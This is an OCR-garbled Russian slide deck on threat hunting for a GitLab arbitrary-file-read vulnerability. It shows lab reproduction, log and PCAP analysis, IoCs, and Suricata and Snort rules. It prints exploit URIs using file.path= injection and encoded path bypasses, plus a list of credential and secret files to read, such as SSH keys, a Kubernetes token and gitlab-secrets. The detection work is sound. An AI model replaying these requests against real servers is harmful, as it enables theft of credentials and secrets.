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CTpyKTypa AOKAA4Aa

()7 YroTakoe Threat Hunting?
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Kak cBa3aHbl mexay cobomn Threat Intelligence
04 n Threat Hunting?
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Yto Takoe Threat Hunting?  Ampire e

Threat Hunting (TH) Kntouesble npusHaku TH
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& Mouemy Threat Hunting BaskeH? Ampire e

= BO3MOXXHOCTb 06x00a C3U

* CPOK >XWU3HUN NHOANKATOPOB
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MDT npu knbepLunnoHaxe
n pabote APT-rpynnnpoBok

= COKpalleHne cpeaHero BpeMeHu
obHapy>xeHua (MTTD) n cpeagHero
BpeMEeHU pelleHna MHUNOeHTA
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" YnyJuweHne geTeKTUpPYHLWMX
NpaBu

= CHM>XeHne GMHAHCOBbIX PUCKOB
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rpynnnpoBkax, nx TTP MHUMOEHTA MOPOXAaeT
no MITRE ATT&CK, BOMpOoChI: «He 66110
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\_ VA J
4 N [ )
HoBble KamnaHuu, HeobblYHbIN OOBEM
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Kak cBA3aHbl Mexay cobon Threat
Intelligence n Threat Hunting?

= [loCTaBKa rmnoTtes
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Vulnerability Intelligence
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* GitHub nomi-sec PoC-in-GitHub repository [2026-09-12]: @plurlbu5 // b o o e .
1 _ _ 1 - Gl MpoekT ABTOMOHWTOPUWHI )
['CVE-2026-85706'] Exploit eroon
BULLETIN_CANDIDATE X
MpuoputeT MNepebii
Ha 'GitHub nomi-sec PoC-in-GitHub repository’ 6sin no6asneH akcnnouT: '@pluribu5 ff ['CVE-2026-85706'] Exploit’ npuopuTeT
MepsoncTounnik: hitps://github.com/pluribuS/gitread PearupoBaHue BbICOKO
LT TR Tun MNoTeHuMancHan
CVE CenAsaHHbIe NpaBuna CeA3zaHHbie 3afaun yrposa
CVE-2026-85706 YnomuHaetcs & sajaue CTRTA-70260 CocToRHMe BLiNoNHEHne B
Kniouessie cnosa: WcnonHutens FesopraH Oaeung P
#CVE-2026-85708 Pasmukoen4y_346
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NiefjloBaHme yAa3BMMOCTY

Mo OOME OO0 00 &

OCcHOBHOE 0

MeTpuku @

OueHka cvss @

10 Boicokas

BexTop @

151 CVSS:31/AV:N/AC:L/PR:N/ULN/S:C/C:H/EH/AN 3 POST /fapi/v4/projects/:id/repository/commits

Datany ND@ N NVD @ POST /fapi/v4/projects/:id/repository/files/:file path
12.09.2026 06:16 12.09.2026 06:16 PUT /api/v4/projects/:id/repository/files/:file_path




Bocnpou3BegeHune
yﬂ 3 B I/I M O CT I/I Search Open Websites/Domains: Code Repositories

Other sub-techniques of Search Open Websites/Domains (3) v ID: T1593.003

-z . = i - E_‘rgﬂ
Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may Sub-technique of: 71593

store code in repositories on various third-party websites such as GitHub, GitLab, Sou ge, and BitBucket. Users typically

interact with code repositories through a web application or command-line utilities such as git.

|f gitread/1.8 (CV
-Enceding: gzip, 1Ef1 t
application/json

on: keep-alive

HTTP/1.1 288 0K
Server: BaseHTTP/@.6 Python/3.11.14
Date: Mon, 14 5ep 2826 12:07:48 GMT

Content-Type: dppllCdtlHﬂ 'jsen
Content-Length: 1

Server: nginx
X-Gitlab-Feature-Cat

, path with namespace": "root/demo-app", "wisibility": "public"}, {"id": 2, "path with names
rn:u:ntx"inter'nal"J "visibility": "internal”}]




YcnewHas
3KCNAyaTayna

fvk/projects/1/
ype=applicati

Accept: *

Connectia
Content-Type: application/x orm-urlenc
Content-Length: @

/g
File and Directory Discovery Date: Mon, 14 Sep : 141 GMT

: :
Adversaries may enumerate files and directories or may s cific locations of a r network share for certain Content 'T}’pt' - dppll[dtll_lﬂ;
information within a fil m. r from F ) ) uring automated D: T1083 [l'lrlt':'rlt - LF'l"lgtl"l : :.|:_. 0

Sub-techniqueg

rver: nginx
ource_code_management
ssage":"Invalid %-encoding (# Gitlab Omnibus configuration (
external_url 'http://gitlab.example.internal’
gitlab rails['db_adapter'] = 'postgresgl’

Exploit Public-Facing Application

Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially ac a network. The weakness

“T119
tem can be a software bug, a temporary glitch, or a misconfiguration. ID:T1190

Sub-techniques: No sub-techniques

Contributors: Don Le, Stifel Financial; Praetorian;
Y Weizman, Azure Defender




3 on/3.11.14

Datn-' .'Iun, 14 ¢ n:p :

Content-Type: appllCdtl_ IhE

Content-Length: 728

Server: nginx

X-Gitlab-Feature-Category: source code management

{"message”:"Invalid ¥-encoding (# Gitlab Omnibus configuration (simulated wulnerable target)
external_url "http://gitlab.example.internal’

gitlab rails['db adapter'] = 'postgresgl’

gitlab rai db_pa ﬂrd']

gitlab rails['db username’]

gitlab_rails['smtp_ Fﬂdth ]

gitlah:rai s['regis
registry[ "token']

ey




OS Credential Dumping: Proc Filesystem

I
\ Other sub-techniques of 0S Credential Dumping (8) ID: T1003.007
. /| \ :' . T . ries may gather credentials from the proc C . The em used as an Sub-technique of: T1
.___3 [ o e e interface to kernel data structures for Linu: anaging £ ) . For eac e @D Tactic:
_— — T s how memory is mapped within the pr 's virtue . / >ID>/mem, @ Platforms: Linux

osed for debugging purpo: provides e 's virtual addr ’ Contributors: Tim (Wadhwa-)Bre

-
i -
Loot t ers When executing with root pri , adver r Version: 1.2

icative of credentials. Adv Created: 11 Febr.

Last Modified:

| ems —dr t -f 1,1 trings in memo
. . 5, pro still view their own virtual memory
Tier Files Echo
1 gitlab.rb, gitlab.yml, redis.conf W CNAEETEI Credentials from Pas
ID: T1555

2 gitlab-secrets.json, secrets.yml, database.yml Oracle only, purd® : common e A Sub-techniques

» T T155
3 .gitlab workhorse secret Oracle only

Version: 1.2

4 SSH private keys and authorized_keys Oracle only Remote Services: SS

5 gitlab-shell.yml , gitaly.toml, PostgreSQL config = Oracle only Other sub-techniques of Remote Services (8) PE—

to log into remote machines Sub-technique of: 71021

Tactic: La

6 Kubernetes service account token, AWS credentials Oracle only . o BTTore TS

Contributors:
Version

Hostname, hosts, passwd, os-release, environ Oracle only

1. In this authentic Created: 11 Feb

hich keypairs are allowed Last Modified: 12 May 2026

jin as that user




Llenouka TTP n opmMmupoBaHme  Ampire e
rmnoTesbl

LLar 2 Llar 4 LLlar 6
AafRAEfA@
Lar 1 Lar 3 Lar 5

[MnoTtesa:

HeayteHTndrLUMpOBaHHbIN 310YMbILLNEHHUK 3KCcnyaTnposan CVE-2026-85706 npoTuB
GitLab-nHctaHca (ya3Bumble 18.7-19.1.7 /19.2.0-19.2.5/19.3.0-19.3.1) 1, BEpOATHO, BbITPY3unI

| 'f\~::.«gitlab-secrets.json», «gitlab.rb», SSH-kntoun, «/proc/*»
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BbiABA€HME aHOMaJIbHOIO Ampire e

MCTOUYHMKA, TPUAXK

~ analyst@soc: ~/hunt - identify anomalous source IP ® 00

analyst@soc:~$ awk '{print $1}' gitlab_access.log | sort | uniq -c | sort -rn
# 295 requests from 172.17.0.3 vs 13 internal health checks (127.0.0.1)

299 L12.1F.0.3
13 127.9.8.1

A



XapakTepuctmka Tpadmka

analyst@soc: ~/hunt - characterize the traffic

analyst@soc:~$ grep -oE ""(GET|POST|PUT|HEAD) [A"]*"' gitlab_access.log | awk '{print $1}' | tr
17 GET

220 POST
71 PUT
analyst@soc:~$ awk '{print $9}' gitlab_access.log | sort | uniq -c | sort -rn
287 400
17 200
2 500
2 404
# POST/PUT burst + dominant HTTP 400 => API probing, not normal browsing

-d

sort

Ampire E‘IZ°

uniq -c

21



[lonck 3aKoANPOBaAHHbIX Ampire e
06x0408B NyTU

analysti@soc: ~/hunt - Workhorse/Puma bypass encoding e o0

analyst@soc:~ -0E '%63ommits|%72epository|%66iles|commits\.json|commits/' gitlab_access.log | sort | uniq -c

36 commits.json
40 commits/

# encoded segments (%63ommits/%72epository/%66iles) + trailing-slash & .json bypass forms

22



MIHBapunaHT akcnayataumm:
file.path=

* iweMm rnaBHbIM MapKep 3KCnyaTaunum ya3sBMMoCcTum

analyst@soc: ~/hunt - file.path injection & loot enumeration

analyst@isoc:~$ grep -c 'file.path=' gitlab_access.log'

289

analyst@soc:~$ grep '172.17.0.3' gitlab_access.log | grep -of 'file.path=%2F[7& ]+' | sed 's/file.path=%2F/\//; s/%2F/\//g' | sort | uniq
25 /etc/hostname
/etc/gitlab/git lal ecrets. jsc
/root/.ssh/ rsa
/etc/passwd
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/opt/gitlab/redis/redis.conf
/var/opt/gitlab/public_attributes. json
/var/opt/gitlab/postgresql/data/postgresql.conf
/var/opt/gitlab/postgresql/data/pg_hba.conf
/var/opt/gitlab/gitlab-workhorse/.gitlab_workhorse_secret
/var/opt/gitlab/gitlab-shell/config.yml
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
/var/opt/gitlab/gitlab-rails/etc/database.yml
/var/opt/gitlab/gitaly/config.toml

[y
(o]

0 oOWm®mO©WOW®MMOWOMWMO®™TIED ©

-¢ | sort -rn | head -16
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User-Agent nHcTpymeHTa

* MHO>XeCTBO 3aMnpoCOB HecyT
User-Agent nybanyHoro PoC

analyst@soc: ~/hunt - tool User-Agent fingerprint LR

analyst@soc:~$ grep -oE '"(gitread/[0-9.]+ \(CVE-2026-85706\)|Mozilla/[A"]*)"' gitlab_access.log | sort | uniqg -c
2 "Mozilla/5.0 (X11; Linux x86_64)"

Bodd y NI AAS
289 grtread/l.0 ‘\[.,Ji_:‘..‘;JLU‘u{J/‘-,'U)

# 289 requests carry the public PoC WA 'gitread/1.0 (CVE-2026-85706)'

24



Rails-log: g
AEeKOAMPOBaHHbIV MapamMeTp

= [lyTb AeKOAMPOBaH — eLé oAHa aHOMaNA

analyst@soc: ~/hunt - Rails api_json.log (decoded params) 200
analyst@soc:-$ jq -c 'select(.path|test("repository/(commits|files)*)) | {time,method,path,status,remote_ip,ua,fp:(.params[]?!select(.key=="file path").value )}' api_json.log | head -12
{"time":"2026-09-16710:40:14.1102", "method" : "POST", "path":"/api/v4/projects/1/repository/commits/", "status":400, "remote_ip":"172.17.6.3","ua":"gitread/1.0 (CVE-2026-85706)","fp":"/etc/hostname”)
{"time":*2026-09-16710:40:14,1112", “method": "POST", "path*: " /api/v4/projects/1/repository/commits", “status”:400, "remote ip“:"172.17.6.3","va":"gitread/1.0 (CVE-2026-85706)","fp":"/etc/hostname”)
("time":"2026-09-16710:40:14,1522", "method": "POST", "path":"/api/v4/projects/1/repository/commits"”, "status”:460, "remote ip":“172.17.6.3","va":"gitread/1.0 (CVE-2026-85766)","fp":"/etc/hostname" )
{"time":"2026-09-16710:40:14,1932", "method": "POST", "path":"/api/vd/projects/1/repository/commits.json", "status":400, "remote_ip":"172.17.0.3", "ua":"gitread/1.0 (CVE-2026-85706)","fp":"/etc/hostname")

{"time"; *2026-09-16710:40:14,2342", "method”; "POST", "path":"/api/vd/projects/1/repository/files/x", "status":400, "remote ip*:“172.17.0,3","ua":"gitread/1.0 (CVE-2026-85706)","fp™:"/etc/hostnane™}
("time":"2026-09-16710:40:14,275Z", "method": "POST", "path": “/api/v4/projects/1/repository/files/x", "status”:400, "remote ip":"172.17.08.3", "ua":"gitread/1.0 (CVE-2026-85706)","fp":"/etc/hostname”)
{"time":%2026-09-16710:40:14.3162", “method": "PUT", "path": "/api/v4/projects/1/repository/files/x", "status“:400, “remote ip":*172.17.0.3","va":"gitread/1.0 (CVE-2026-85706)","fp":"/etc/hostname")
{"time":"2026-09-16710:40:14.3572", “method": "PUT", "path": " /api/vd/projects/1/repository/files/x", "status":460,"remote ip":"172.17.0.3","va":"gitread/1.0 (CVE-20826-85706)","fp":"/etc/hostnane”}
{"time":"2026-09-16T710:40:14,398Z", "method”: "POST", "path":"/api/vd/projects/1/repository/commits/", "status”™:400, "remote {p*:"172.17.0.3","ua":"gitread/1.0 (CVF-?O?G-BS?G(;)",'fp‘[:"/'etc/g:itl:—.lJ."gitlah.rb"}]
{“time":"2026-09-16710:40:18.078Z", "method”: "POST", "path":"/api/v4/projects/1/repository/commits/", “status®:400, "remote 1p*:"172.17.0.3","ua":"gitread/1.0 (CVE-2026-85706)","fp":"/etc/hostname"}
{"time":"2026-09-16710:40:18.078Z", "method": "POST", "path*:"/api/vd/projects/1/repository/commits", “status”:400, "remote ip*:"172.17.0.3",“va":"gitread/1.0 (CVE-2026-85706)","fp":"/etc/hostname”}
{"time":"2026-09-16710:40:18.1192", "method™: "POST", "path":"/api/v4/projects/1/repository/commits", “status”:400, "remote ip":"172.17.0.3","va":"gitread/1.0 (CVE-2026-85706)","fp":"/etc/hostnane”)

ps ti F e 11

25



[loaTBEpPXAEHMNE YTEUKN

= B norax cogep>xnmoe $panna,
OTPaxeéHHoe B Tesie ownbkn 400

~analyst@soc: ~/hunt - production_json.log: CONFIRMED leak LN

analyst@soc:~$ grep 'Invalid %-encoding' production_json.log | python3 -c 'import sys,json
[print(" [LEAK]", json.loads(l)["error"][:130]) for 1 in sys.stdin]'
[LEAK] Invalid %-encoding (# GitLab Omnibus configuration (simulated vulnerable target)
external_url 'http://gitlab.example.internal’
git
path=/api/v4/projects/1/repository/commits/ remote_ip=172.17.0.3 ua=gitread/1.0 (CVE-2026-85706)
[LEAK] Invalid %-encoding (# GitLab Omnibus configuration (simulated vulnerable target)
external_url 'http://gitlab.example.internal’
git
path=/api/v4/projects/1/repository/commits/ remote_ip=172.17.0.3 ua=gitread/1.0 (CVE-2026-85706)
[LEAK] Invalid %-encoding (GITLAB_DATABASE PASSWORD=PgPass%Env2026aPYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53
path=/api/v4/projects/1/repository/commits/ remote_ip=172.17.0.3 ua=gitread/1.0 (CVE-2026-85706)
[LEAK] Invalid %-encoding (# GitLab Omnibus configuration (simulated vulnerable target)
external_url 'http://gitlab.example.internal’
git
path=/api/v4/projects/1/repository/commits.json remote_ip=172.17.0.3 ua=curl/7.88.1
# file contents echoed back in the 400 'Invalid %-encoding' error body

26



Pa3bnBka MapkepoB OLLINOOK Amre &=

* BbIBOOMM CTAaTUCTUKY MapKepoB
3KCNJ1lyaTaumnu

analyst@soc: ~/hunt - error markers breakdown

analyst@soc:~$ grep -oE '"error": "[A"]{0,45}' production_json.log | sed 's/"error":
208 ActionController::RoutingError (local file no
/5 branch 1s requilred

3 Invalid %-encoding (# GitLab Omnibus configur

2 NoMethodError (undefined method for nil)

1 Invalid %-encoding (GITLAB_DATABASE_PASSWORD=
| # 208x 'local file not present' (loot brute-force) + #bx 'branch is required"

"//' | sort | unig -c | sort -rn

(no-echo read)

27



CeteBou cpe3 PCAP

analyst@soc: ~/hunt - network conversation (pcap) o0

analyst@soc:~$ tshark -r cve-2026-85706.pcap -z conv,ip -q

IPv4 Conversations
Filter:<No Filter>

| <- | | -> | | Total | Relative | Duration |
| Frames Bytes | | Frames Bytes | | Frames Bytes | Start | |
1¢2.17.98.3 <-> 172.17.0.2 633 105 kB 941 171 kB 1574 277 kB 0.000000000 21.4870

28




3anpockl 3KCnyaTtaumm

B PCAP

* Buamm B TpadmKe 3anpochbl K yA3BMMbIM
SHAMNOUHTAM

-

analyst@soc: ~/hunt - HTTP requests on the wire

analyst@soc:~$ tshark -r cve-2026-85706.pcap -Y 'http.request' -T fields -e http.request.method -e http.request.full_uri | sort | uniq -c | sort -rn | head -10

PUT
POST
POST
POST
POST
PUT
PUT
PUT
PUT
PUT

NN DD DD NN W W oo

http:
http:
http:
http:
http:
http:
http:
http:
http:
http:

//172.
//172.
//172.
//172.
11372
(1372
/A7
//172.
Ll QT2
272

1743
17.
L7
17:.9’,
17505
A7,
17.0.
177105
1770
1707

0 ©0 00O © O oo

2:8080/api/v4/projects/1/repository/files/x?file=&f1ile.path=%2Fetc%2Fhostname&file.size=1&Content-Type=application%2Fx-www-form-urlencoded
2:8080/api/v4/projects/1/repository/files/x?file=&f1ile.path=%2Fetc%2Fhostname&file.size=1&Content-Type=application%2Fx-www-form-urlencoded
2:8080/api/v4/projects/1/repository/commits?file=&file.path=%2Fetc%2Fhostname&file.size=1&Content-Type=application%2Fx-www-form-urlencoded
2:8080/api/v4/projects/1/repository/commits/?file=&file.path=%2Fetc%2Fhostname&file.size=1&Content-Type=appliation%2Fx-www-form-urlencoded
2:8080/api/v4/projects/1/repository/commits.json?file=&file.path=%2Fetc%2Fhostname&file.size=1&Content-Type=application%2Fx-www-form-urlencoded
o2
2
2
2
2

8080/api/va/projects/1/repository/files/x?file=&f1ile.path=%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken&file.size=1&Content-Type=application%2Fx-www-form-urlencoded

:8080/api/va/projects/1/repository/files/x?file=&file.path=%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace&file.size=1&Content-Type=application%2Fx-www-form-urlencoded
:8080/api/v4/projects/1/repository/files/x?file=&file.path=%2Fvar%2Fopt%2Fgitlab%2Fredis%2Fredis.conf&file.size=1&Content-Typeappliaticaton%2Fx-www-form-urlencoded
:8080/api/va/projects/1/repository/files/x?file=&file.path=%2Fvar%2Fopt%2Fgitlab%2Fpublic_attributes.json&file.size=1&Content-Type=application%2Fx-www-form-urlencoded
:8080/api/v4/projects/1/repository/files/x?file=&file.path=%2Fvar%2Fopt%2Fgitlabh%2Fpostgresql%2Fdata%2Fpostgresql.conf&éfile.size=1&Content-Type=application%2Fx-www-form-urlencoded

# file.path= injection against /repository/commits and /repository/files (POST & PUT)
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BocctaHoBAeHMe
YTEKLLUNX CEKPETOB

analyst@soc: ~/hunt - leaked secrets recovered from pcap e

analyst@soc:~$ tshark -r cve-2026-85706.pcap -z follow, tcp,ascii,3
# GitLab Omnibus configuration (simulated vulnerable target)
external_url 'http://gitlab.example.internal'’
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_password'] = 'Sup3rS3cret%DB2026!"

gitlab_rails['db_username'] = 'gitlab'
gitlab_rails['smtp_enable'] = true
gitlab_rails['smtp_address'] = 'smtp.example.internal'
gitlab_rails['smtp_password'] = 'smtp%relay#p4ss'

gitlab_rails['ldap_enabled'] = true

gitlab_rails['ldap_servers'] = {'main' => {'host' => 'ldap.example.internal'}}
gitlab_rails['ldap_password'] = 'bind%Ldap99'

gitlab_rails['secret_key base'] = 'd41d8cd98f00b204e9800998ect8427e%seed’
gitlab_rails['registry_enabled'] = true

registry['token'] = 'reg%istry%token'

# full /etc/gitlab/gitlab.rb recovered from the 400 response body
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[lonyueHue
HaNAEHHbIX
apTedakToB
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"
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YTéekwmne panbl

Ddann

Bunp yteukn

Ampire E‘IZ°

OnuncaHue

/etc/gitlab/gitlab.rb

/proc/self/environ

/etc/gitlab/gitlab-secrets.json

Jroot/.ssh/id_rsa

\ swd, /etc/hosts, /etc/hostname, /etc/os-
~ release, /proc/version

LEAK (nosiHbI)

LEAK (NosiHbIN)

read-noecho (oracle: readable)

read-noecho

read-noecho

Maponu B1/SMTP/LDAP, secret_key base,
registry token

GITLAB_DATABASE_PASSWORD B
nepeMeHHbIX OKpY>XXeHuns

secret_key base, otp/db_key base —
POPXKMHI TOKEHOB

SSH-ko4

Pa3Beaka cmcrembl
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MHankaTopbl
KomnpomeTtaumm loC

NMHOnKaTop 3Ha4yeHune

IP aTakytouwiero 172.17.0.3

gitread/1.0 (CVE-2026-85706)

User-Agent

Mapkep 3anpoca (POST/PUT) /api/v4/projects/ + "file.path=" + "file.size="

Invalid %-encoding (...), local file not present, branch is required

Mapkep oTBeTa

Bypass-popmbl %63ommits, %72epository, %66iles, commits/, commits.json

"Sup3rS3cret%DB2026!", "smtp%relay#p4ss”, "bind%Ldap99", "reg%istry%token”,
"PgPass%Env2026"

| ‘KDETbI (yTékme)
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PazpaboTka
AETEKTUPYHOLLLETO
npaBunaa

- Peannsyem petekTmpytoLlyto
JIOTUKY, NCMOJ1b3yA
l@HHble apTedaKThbl
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[lonHOe onuncaHue
YA3BUMOCTW

AM EXPLOIT GitLab CE/EE < v19.3.2 Arbitrary File Read via POST
(CVE-2026-85706)

Bricokas kpuiuubocTs | DKCyaTauuMs YS3BMMOCTeR  any

Onucaxue | Snort Suricata

YA3BMMOCTb 3aKnio4aeTcs B paccuixponusauumn URI-gekoaupoBaHus mexay o6patHbiM npokcu GitLab Workhorse u
cepBepoM npunoxeHun Puma, u3-3a yero 3noyMmbilLNeHHUK 06xoauT npoeepky Workhorse. 3To no3BonsieT OTKpbITb
NpOU3BONbHbIN (Gaitn, yKkasas ero abConoTHbIM NyTb [Ana 3KCrulyaTaummn ysS3BUMMOCTU YAANEHHbIN
HeayTeHTUOULMPOBAHHbIN 3N0YMBbILLIEHHUK JOMMKEH OTNPaBUTb CneLuanbHO chopMupoBaHHbin POST-3anpoc kK
KOHeuHoMy agpecy ‘/api/v4/projects/{id}/repository/files/' unu ‘/api/v4/projects/{id}/repository/commits/’, cogepxaiuuit
nogaenbHble napameTpsl ‘file.path=" u 'file.size=". 310 NPUBOAUT K UTEHMIO MPOM3BONBHOTO (aiina Ha cepeepe
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[lpaBnao Suricata

AM EXPLOIT GitLab CE/EE < v19.3.2 Arbitrary File Read via POST

(CVE-2026-85706)

BbiCOKan KPUTHYHOCTD Ty y any

Onucanue Snort Suricata

CKOMUPOBATS I

alert http any any -> $HOME_NET any (
msg: "AM EXPLOIT GitlLab CE/EE < v19.3.2 Arbitrary File Read via POST (CVE-2026-85706)";
flow: established,to_server;
content: "POST";
http_method: ;
http.uri: ;
content: "/api/v4/projects/";
http.uri.raw: ;
content: “"file.path=";
content: "file.size=";
reference: cve,2026-85706;
reference: url,github.com/plurlbu5/gitread;
reference: url,xakep.ru/2026/09/14/gitlab-patch;
classtype: web-application-attack;
sid: 3437120;

rev: 4;

metadata: affected asset dst, affected os any, affected product gitlab:gitlab, affected vendor

gitlab, attack _target Web_Server, created_at 2026 _09 14, signature severity high, tag T1190, tag

TAGOO1, tias_category Exploitation, updated_at 2026 09 16;

)
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[1lpaBnno Snort

 AM EXPLOIT GitLab CE/EE < v19.3.2 Arbitrary File Read via PUT (C
VE-2026-85706)

Bricokan kputuunocTs  OKCRAyaTauus YA3BMMOCTeH  any

Onucanmue Snort Suricata

CKOMUPOBATb I

alert tcp any any -> $HOME_NET $HTTP_PORTS (
msg: "AM EXPLOIT GitlLab CE/EE < v19.3.2 Arbitrary File Read via PUT (CVE-2026-85706)";
flow: established,to_server;
content: "PUT";
depth: 3;
content: "/api/v4/projects/";
http_uri: ;
content: "file.path=";
http_raw uri: ;

content: "file.size=";

http_raw uri: ;

reference: cve,2026-85706;

reference: url,github.com/plurlbu5/gitread;

reference: url,xakep.ru/2026/09/14/gitlab-patch;

classtype: web-application-attack;

sid: 3437121;

rev: 3;

metadata: affected_asset dst, affected os any, affected product gitlab:gitlab, affected_vendor
gitlab, attack_target Web_Server, created at 2026_09 14, signature_severity high, tag T1190, tag
TAGOO1, tias_category Exploitation, updated at 2026_09_16;

)
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[lpaBnna B < AMTIP

Ampire E‘lZ"

-

[ Tu]
| ]

)

JNaw6opn

Tl Lookup

Tl Reports beta

URL Checker

Tapugbt

Momolp

0 MpopyxTe

Q' MNowuck no loC

< AMTIP

PesynbTaThl noucka no loC
CVE-2026-85706

(¢} S
o - \

OCHOBHOe [lpaBuna 06HapYKeHns BTOPXEHMA 2|  Bsaumoceasn 0 Mpad

3437121 AM EXPLOIT GitLab CE/EE < v19.3.2 Arbitrary File Read via PUT (CVE-2026-85706)

3437120 AM EXPLOIT GitLab CE/EE < v19.3.2 Arbitrary File Read via POST (CVE-2026-857086)

Bpe 3MEHe H pynnbei  TTP
16.09.2026 13:13 exploit THEO TA00O1
16.09.2026 13:13 exploit TNH90  TAOOO1

38



ST
e

- Brarogapto
- 33 BHUMaAHWKe

Hasup 'eBOpraH

CTapLuui cneymanmnct no nccieaoBaHnto Knbepyrpos

MNepcnekTUBHbIN MOHUTOPUHT

OcTtanncb Bonpochl?







	Слайд 1
	Слайд 2, Threat Hunting
	Слайд 3, Структура доклада
	Слайд 4, Что такое Threat Hunting?
	Слайд 5, Почему Threat Hunting важен?
	Слайд 6, Откуда берутся гипотезы?
	Слайд 7, Как связаны между собой Threat Intelligence и Threat Hunting?
	Слайд 8, Threat Intelligence  как источник гипотез
	Слайд 9, Источники данных для Threat Hunting
	Слайд 10, Процесс Threat Hunting
	Слайд 11
	Слайд 12, Vulnerability Intelligence
	Слайд 13, Исследование уязвимости
	Слайд 14, Воспроизведение уязвимости
	Слайд 15, Успешная эксплуатация
	Слайд 16, Выгруженные секреты
	Слайд 17, Уровни доступа к файлам
	Слайд 18, Цепочка TTP и формирование гипотезы
	Слайд 19, Реализация проактивного поиска
	Слайд 20
	Слайд 21, Характеристика трафика
	Слайд 22, Поиск закодированных  обходов пути
	Слайд 23, Инвариант эксплуатации: file.path=
	Слайд 24, User-Agent инструмента
	Слайд 25, Rails-log: декодированный параметр
	Слайд 26
	Слайд 27, Разбивка маркеров ошибок
	Слайд 28, Сетевой срез PCAP
	Слайд 29, Запросы эксплуатации в PCAP
	Слайд 30
	Слайд 31, Получение найденных артефактов и последствий
	Слайд 32, Утёкшие файлы
	Слайд 33, Индикаторы  компрометации IoC
	Слайд 34
	Слайд 35
	Слайд 36, Правило Suricata
	Слайд 37, Правило Snort
	Слайд 38, Правила в
	Слайд 39, Благодарю за внимание
	Слайд 40

